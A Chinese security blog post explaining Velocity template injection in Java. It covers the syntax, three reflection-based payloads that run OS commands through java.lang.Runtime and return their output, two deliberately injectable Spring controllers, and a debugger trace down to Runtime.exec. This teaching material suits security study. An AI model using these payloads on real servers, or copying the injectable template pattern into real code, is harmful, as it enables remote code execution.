Java安全之Velocity模版注入
Apache Velocity
Apache Velocity是一个基于Java的模板引擎，它提供了一个模板语言去引用由Java代码定义的对象。它允许web 页面设计者引用JAVA代码预定义的方法
Pom.xml
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency> 相关文档
基本语法
语句标识符
#
用来标识Velocity的脚本语句，包括
#set
、
#if
、
#else
、
#end
、
#foreach
、
#end
、
#include
、
#parse
、
#macro
等语句。
变量
$
用来标识一个变量，比如模板文件中为
Hello $a
，可以获取通过上下文传递的
$a
声明
set
用于声明Velocity脚本变量，变量可以在脚本中声明
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"]) 注释
单行注释为
##
，多行注释为成对出现的
#* ............. *#
逻辑运算
== && || ! 条件语句
以
if/else
为例：
#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end 单双引号
单引号不解析引用内容，双引号解析引用内容，与PHP有几分相似
#set ($var="aaaaa")
'$var' ## 结果为：$var
"$var" ## 结果为：aaaaa 属性
通过
.
操作符使用变量的内容，比如获取并调用
getClass()
#set($e="e")
$e.getClass() 转义字符
如果
$a
已经被定义，但是又需要原样输出
$a
，可以试用
\
转义作为关键的
$
{} 标识符
"{}"用来明确标识Velocity变量；
比如在页面中，页面中有一个{someone}name。
！标识符
"!"用来强制把不存在的变量显示为空白。
如当页面中包含msg字符。这是我们不希望的，为了把不存在的变量或变量值为null的对象显示为空白，则只需要在变量名前加一个“!”号即可。
如：$!msg
我们提供了五条基本的模板脚本语句，基本上就能满足所有应用模板的要求。这四条模板语句很简单，可以直接由界面设计人员来添加。在当前很多EasyJWeb的应用实践中，我们看到，所有界面模板中归纳起来只有下面四种简单模板脚本语句即可实现：
1、$!obj 直接返回对象结果。
如：在html标签中显示java对象msg的值。
<p>$!msg 在html标签中显示经过HtmlUtil对象处理过后的msg对象的值
!msg)
2、#if($!obj) #else #end 判断语句
如：在EasyJWeb各种开源应用中，我们经常看到的用于弹出提示信息msg的例子。
#if($msg)
<script> alert('$!msg'); </script>
#end poc
// 命令执行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
// 命令执行2
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
// 命令执行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end 模版注入
抠了段代码
@RequestMapping("/ssti/velocity1")
@ResponseBody
public String velocity1(@RequestParam(defaultValue="nth347") String username) {
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";
Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "[email protected]");
StringWriter out = new StringWriter();
Velocity.evaluate(ctx, out, "test", templateString);
return out.toString();
} poc
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator") 
调试分析
首先将我们传入的poc拼接进去后，调用
Velocity.init();
,最终实际调用的是
RuntimeInstance#init
会进行一系列的初始化操作，其中包括加载
/velocity-1.7.jar!/org/apache/velocity/runtime/defaults/velocity.properties
中的
runtime.log.logsystem.class
,实例化
org.apache.velocity.runtime.resource.ResourceManagerImpl
以及记录一些log
之后实例化
VelocityContext
并将三个键值对 put了进去，调用
Velocity.evaluate()
来解析,跟进
发现是通过
RuntimeInstance#evaluate
中调用
parse
解析
继续跟进
parser.parse(reader, templateName);
,首先在
this.velcharstream.ReInit(reader, 1, 1);
将在StringReader中的poc存储到
Parser.velcharstream
属性的
buffer
中
之后会在process内循环遍历处理vlocity语法之后，大致解析成下面这个样子...
进入
this.render(context, writer, logTag, nodeTree);
来解析渲染，主要是从AST树中和Context中，在
ASTSetDirective#render
将poc put进了context。这里涉及到几个类
ASTRference
ASTMethod
,其中涉及到了ast的处理，感兴趣的师傅可以自己跟下看看
ASTMethod#execute
中反射调用runtime
调用栈如下：
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1378, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1314, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1265, RuntimeInstance (org.apache.velocity.runtime)
evaluate:180, Velocity (org.apache.velocity.app)
velocity1:64, HelloController (com.hellokoding.springboot) 扣来的代码，这个可能实际环境遇到盖里高点，主要是可控
vm
模版文件内的内容，在调用
template.merge(ctx, out);
会解析模版并触发模版注入
@RequestMapping("/ssti/velocity2")
@ResponseBody
public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
templateString = templateString.replace("<USERNAME>", username);
StringReader reader = new StringReader(templateString);
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "[email protected]");
StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();
template.merge(ctx, out);
return out.toString();
} Template.vm
Hello World! The first velocity demo.
Name is <USERNAME>.
Project is $project